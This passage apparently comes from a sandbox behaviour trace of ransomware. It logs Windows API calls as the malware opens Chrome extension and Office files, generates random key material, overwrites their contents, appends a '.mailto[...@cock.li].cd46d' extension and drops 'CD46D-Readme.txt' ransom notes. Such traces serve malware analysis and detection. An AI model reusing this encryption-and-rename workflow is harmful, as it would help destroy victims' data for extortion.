Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" [0192.651] wcscat (in: _Dest=0x12cf87f8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0192.652] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x34af790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.652] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x93d4c0 Thread: id = 8055 os_tid = 0x18cc [0188.488] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json")) returned 0x2020 [0189.206] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json", dwFileAttributes=0x20) returned 1 [0193.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x87c [0193.261] GetFileSizeEx (in: hFile=0x87c, lpFileSize=0x364f7d4 | out: lpFileSize=0x364f7d4*=230) returned 1 [0193.261] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.261] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee48 [0193.261] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938040 [0193.261] NtQuerySystemTime (in: CurrentTime=0x364f734 | out: CurrentTime=0x364f734*=132174899678542000) returned 0x0 [0193.261] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x1e9a9907 [0193.261] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x7b5e1bb9 [0193.261] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x42bc1d54 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x492d0cae [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x27011c4f [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x2c43767 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x73cb3511 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x2743e7e0 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x1b73925c [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x7f84e765 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x2a87c9e5 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x180b5c01 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x609b6557 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x3b538076 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x58728e92 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x6d1de6f4 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x2e6e94d [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x4b134d67 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x11dfb548 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x5713cfb0 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x4d4470f9 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x110f6e7e [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x273b433c [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x1043a97a [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x76f1bb3c [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x15a2828d [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x52ecdfc1 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x8a7ba98 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x69f615c5 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0xb4d2273 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x6e7b5c67 [0193.262] RtlRandomEx (in: Seed=0x364f740 | out: Seed=0x364f740) returned 0x1f217349 [0193.275] ReadFile (hFile=0x87c, lpBuffer=0x134bc820, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x364f730, lpOverlapped=0x0) [0193.276] SetFilePointerEx (in: hFile=0x87c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.276] WriteFile (in: hFile=0x87c, lpBuffer=0x134c9028*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x364f72c, lpOverlapped=0x0 | out: lpBuffer=0x134c9028*, lpNumberOfBytesWritten=0x364f72c*=0xe6, lpOverlapped=0x0) returned 1 [0197.548] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938298 [0197.548] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938310 [0197.548] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938310) returned 1 [0197.548] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134c9028) returned 1 [0197.549] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134bc820) returned 1 [0197.550] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8ff8) returned 1 [0197.550] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9888) returned 1 [0197.550] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6fc0 [0197.551] SetFilePointerEx (in: hFile=0x87c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.551] WriteFile (in: hFile=0x87c, lpBuffer=0x12cf5608*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x364f794, lpOverlapped=0x0 | out: lpBuffer=0x12cf5608*, lpNumberOfBytesWritten=0x364f794*=0x10b, lpOverlapped=0x0) returned 1 [0197.785] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5608) returned 1 [0197.785] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ff0) returned 1 [0197.785] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938310) returned 1 [0197.785] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6fc0) returned 1 [0197.785] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938298) returned 1 [0197.785] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee48) returned 1 [0197.785] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938018) returned 1 [0197.785] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937fa0) returned 1 [0197.785] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4952c0 [0197.785] wcscpy (in: _Dest=0xd4952c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" [0197.785] wcscat (in: _Dest=0xd4952c0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.785] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x364f74c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.785] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c9208 [0197.942] FlushFileBuffers (hFile=0x87c) returned 1 [0197.950] CloseHandle (hObject=0x87c) returned 1 [0198.000] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b5658 [0198.000] wcscpy (in: _Dest=0x9b5658, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\" [0198.000] wcscat (in: _Dest=0x9b5658, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\CD46D-Readme.txt" [0198.000] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\cd46d-readme.txt")) returned 0xffffffff [0198.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0198.136] WriteFile (in: hFile=0x1094, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x364f754, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x364f754*=0x6fd, lpOverlapped=0x0) returned 1 [0198.137] CloseHandle (hObject=0x1094) returned 1 [0198.137] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5658) returned 1 [0198.137] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x133901c0) returned 1 Thread: id = 8056 os_tid = 0x18d0 [0188.488] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json")) returned 0x2020 [0188.489] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json", dwFileAttributes=0x20) returned 1 [0191.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x149c [0191.262] GetFileSizeEx (in: hFile=0x149c, lpFileSize=0xcb7f98c | out: lpFileSize=0xcb7f98c*=226) returned 1 [0191.262] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909398 [0191.262] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d82d8 [0191.262] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0191.262] NtQuerySystemTime (in: CurrentTime=0xcb7f8ec | out: CurrentTime=0xcb7f8ec*=132174899658574000) returned 0x0 [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x55899002 [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x5558072a [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x3a783377 [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x36915fc [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x70d282e0 [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x1878f8cc [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x640b04ab [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x6d13d252 [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x2df84641 [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x34230635 [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x3e5074be [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x64fd4ea5 [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x1fa9d22d [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x429c740b [0191.262] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x55740c83 [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x3a641205 [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x6a935397 [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x3d9bf7e4 [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x432681a5 [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x337f0326 [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x21e9307e [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x448b0f2b [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x4bdb4d1c [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x6c3bdeb6 [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x10414fe6 [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x1ebc537b [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x7fcf7ec3 [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x166e739d [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x3a23bdf4 [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x2101bdbd [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x78b91acc [0191.263] RtlRandomEx (in: Seed=0xcb7f8f8 | out: Seed=0xcb7f8f8) returned 0x2a7e0b21 [0191.276] ReadFile (hFile=0x149c, lpBuffer=0x13523198, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0xcb7f8e8, lpOverlapped=0x0) [0191.277] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.277] WriteFile (in: hFile=0x149c, lpBuffer=0x1352f9a0*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0xcb7f8e4, lpOverlapped=0x0 | out: lpBuffer=0x1352f9a0*, lpNumberOfBytesWritten=0xcb7f8e4*=0xe2, lpOverlapped=0x0) returned 1 [0192.346] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af208 [0192.346] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee70 [0192.347] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee70) returned 1 [0192.347] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1352f9a0) returned 1 [0192.365] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13523198) returned 1 [0192.368] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8f08) returned 1 [0192.368] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f95b8) returned 1 [0192.368] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d88c8 [0192.369] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.369] WriteFile (in: hFile=0x149c, lpBuffer=0x12cf5838*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xcb7f94c, lpOverlapped=0x0 | out: lpBuffer=0x12cf5838*, lpNumberOfBytesWritten=0xcb7f94c*=0x10b, lpOverlapped=0x0) returned 1 [0192.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5838) returned 1 [0192.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6870) returned 1 [0192.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee70) returned 1 [0192.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88c8) returned 1 [0192.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af208) returned 1 [0192.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d82d8) returned 1 [0192.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b48) returned 1 [0192.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5a30) returned 1 [0192.648] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf8c90 [0192.648] wcscpy (in: _Dest=0x12cf8c90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" [0192.649] wcscat (in: _Dest=0x12cf8c90, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0192.649] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xcb7f904, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.649] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x93d988 Thread: id = 8057 os_tid = 0x18d4 [0188.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_off.gif")) returned 0x20 [0188.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0188.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0188.490] GetLastError () returned 0x5 [0188.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0188.490] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf7260) returned 1 Thread: id = 8058 os_tid = 0x18d8 [0188.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_on.gif")) returned 0x20 [0188.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0188.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0188.491] GetLastError () returned 0x5 [0188.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0188.491] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbe18) returned 1 Thread: id = 8059 os_tid = 0x18dc [0188.492] GetFileAttributesW (lpFileName="C:\\Program 